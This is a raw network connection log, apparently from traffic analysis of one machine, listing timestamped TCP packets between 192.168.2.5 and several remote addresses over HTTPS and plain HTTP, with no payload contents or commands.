Nov 9, 2024 22:09:52.861257076 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.861454010 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.861490965 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.861521959 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.861565113 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.861603022 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.861614943 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.861619949 CET	49955	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.861624956 CET	443	49955	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.865308046 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.865331888 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.865421057 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.865550995 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.865565062 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.869359970 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.869435072 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.869437933 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.869503975 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.869508028 CET	49954	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.869554996 CET	49956	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.869632006 CET	49954	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.869640112 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.869656086 CET	49954	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.869659901 CET	443	49954	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.869712114 CET	49956	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.869726896 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.869748116 CET	49956	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.869754076 CET	443	49956	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.871853113 CET	49962	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.871877909 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.871941090 CET	49963	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.871948957 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.872019053 CET	49962	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.872026920 CET	49963	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.872117996 CET	49963	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.872131109 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.872209072 CET	49962	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.872226000 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.900262117 CET	443	49957	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.900703907 CET	49957	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.900722980 CET	443	49957	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:52.901278973 CET	49957	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:52.901289940 CET	443	49957	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.031507015 CET	443	49957	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.031594992 CET	443	49957	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.031687021 CET	49957	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.031955004 CET	49957	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.031971931 CET	443	49957	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.034673929 CET	49964	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.034709930 CET	443	49964	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.034905910 CET	49964	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.035375118 CET	49964	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.035389900 CET	443	49964	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.057497978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:53.057619095 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:53.116316080 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:53.121510029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:53.165076971 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.165366888 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.165380955 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.166428089 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.166493893 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.166863918 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.166924953 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.166958094 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.209028959 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.209041119 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.255393028 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.293081045 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.293108940 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.293184996 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.293231010 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.293288946 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.294529915 CET	49958	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.294547081 CET	443	49958	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.302665949 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.302704096 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.302809954 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.303122997 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.303138971 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.395519018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:53.395550966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:53.395572901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:53.395612955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:53.395680904 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:53.419537067 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:53.424427032 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:53.541106939 CET	443	49960	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.541723967 CET	49960	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.541738987 CET	443	49960	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.542200089 CET	49960	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.542205095 CET	443	49960	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.597304106 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.597896099 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.597923040 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.598413944 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.598421097 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.620062113 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.620553970 CET	49963	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.620570898 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.621227980 CET	49963	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.621233940 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.621335983 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.621747017 CET	49962	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.621769905 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.622136116 CET	49962	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.622143030 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.669822931 CET	443	49960	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.669891119 CET	443	49960	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.669995070 CET	49960	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.670269012 CET	49960	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.670284986 CET	443	49960	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.674379110 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.674413919 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.674766064 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.674964905 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.674977064 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.699383020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:53.699521065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:53.715895891 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:53.720767021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:53.728219986 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.728245974 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.728296041 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.728332996 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.728389025 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.728655100 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.728673935 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.728693008 CET	49961	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.728698015 CET	443	49961	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.732064009 CET	49967	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.732114077 CET	443	49967	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.732243061 CET	49967	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.732462883 CET	49967	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.732471943 CET	443	49967	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.753120899 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.753340960 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.753381014 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.753465891 CET	49963	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.753506899 CET	49963	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.753515959 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.753529072 CET	49963	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.753532887 CET	443	49963	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.755105972 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.755389929 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.755444050 CET	49962	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.755554914 CET	49962	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.755584955 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.755665064 CET	49962	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.755673885 CET	443	49962	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.757224083 CET	49968	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.757246017 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.757320881 CET	49968	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.757564068 CET	49968	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.757571936 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.758936882 CET	49969	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.758960962 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.759080887 CET	49969	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.759176016 CET	49969	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.759187937 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.981259108 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:53.981847048 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:53.981878996 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:53.981939077 CET	443	49964	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.982182026 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.983483076 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:53.983494043 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:53.983531952 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:53.983541012 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:53.984128952 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.984148026 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.984483004 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.984724045 CET	49964	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.984741926 CET	443	49964	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.984961033 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:53.985024929 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:53.985337019 CET	49964	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:53.985341072 CET	443	49964	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:53.985451937 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.031336069 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.112617016 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.112643003 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.112696886 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.112740993 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.112791061 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.115381002 CET	49965	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.115401983 CET	443	49965	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.117312908 CET	443	49964	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.117376089 CET	443	49964	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.117687941 CET	49964	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.119057894 CET	49964	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.119071007 CET	443	49964	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.122371912 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.122402906 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.122459888 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.122740030 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.122756004 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.125612974 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.125629902 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.125700951 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.125966072 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.125978947 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.334651947 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.334685087 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.334726095 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.334800005 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:54.334830046 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.334845066 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:54.335171938 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:54.335186958 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.335196972 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:54.335385084 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.335412979 CET	443	49959	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.335468054 CET	49959	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:54.403774977 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.404401064 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.404412031 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.405040026 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.405045033 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.410197973 CET	49972	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:54.410239935 CET	443	49972	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.410368919 CET	49972	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:54.410568953 CET	49972	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:54.410590887 CET	443	49972	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:54.481838942 CET	443	49967	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.482213974 CET	49967	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.482242107 CET	443	49967	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.482630014 CET	49967	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.482635975 CET	443	49967	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.483468056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:54.483526945 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:54.511780024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:54.517621040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:54.534104109 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.534120083 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.534157038 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.534178972 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.534224987 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.534516096 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.534526110 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.534531116 CET	49966	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.534535885 CET	443	49966	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.537245989 CET	49973	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.537255049 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.537389040 CET	49973	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.537501097 CET	49973	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.537509918 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.619302988 CET	443	49967	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.619394064 CET	443	49967	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.619610071 CET	49967	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.619610071 CET	49967	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.619653940 CET	49967	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.619666100 CET	443	49967	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.621814013 CET	49974	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.621834993 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.621943951 CET	49974	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.622137070 CET	49974	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.622149944 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.707170010 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.710136890 CET	49969	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.710170984 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.710669041 CET	49969	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.710678101 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.716636896 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.717221975 CET	49968	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.717261076 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.717859983 CET	49968	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.717866898 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.732923031 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.733371973 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.733396053 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.733737946 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.734765053 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.734833002 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.735132933 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.775331974 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.782980919 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.792530060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:54.792601109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:54.800628901 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:54.805560112 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:54.805718899 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:54.805941105 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:54.810758114 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:54.834675074 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.834745884 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.834813118 CET	49969	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.835180044 CET	49969	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.835192919 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.835216045 CET	49969	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.835222960 CET	443	49969	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.839185953 CET	49976	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.839212894 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.839374065 CET	49976	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.839556932 CET	49976	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.839574099 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.846817970 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.847307920 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.847357035 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.847420931 CET	49968	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.847448111 CET	49968	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.847457886 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.847517967 CET	49968	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.847522974 CET	443	49968	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.850157976 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.850187063 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.850375891 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.850552082 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.850565910 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.864502907 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.864532948 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.864541054 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.864599943 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.864603043 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.867854118 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.867854118 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.873195887 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.873214960 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.873316050 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.873514891 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:54.873529911 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:54.910939932 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.911694050 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.911709070 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:54.912199974 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:54.912204981 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.045043945 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.045070887 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.045108080 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.045156002 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.045193911 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.045594931 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.045612097 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.045650005 CET	49971	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.045665026 CET	443	49971	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.048726082 CET	49979	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.048763990 CET	443	49979	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.049381018 CET	49979	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.049690962 CET	49979	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.049705982 CET	443	49979	13.107.246.45	192.168.2.5
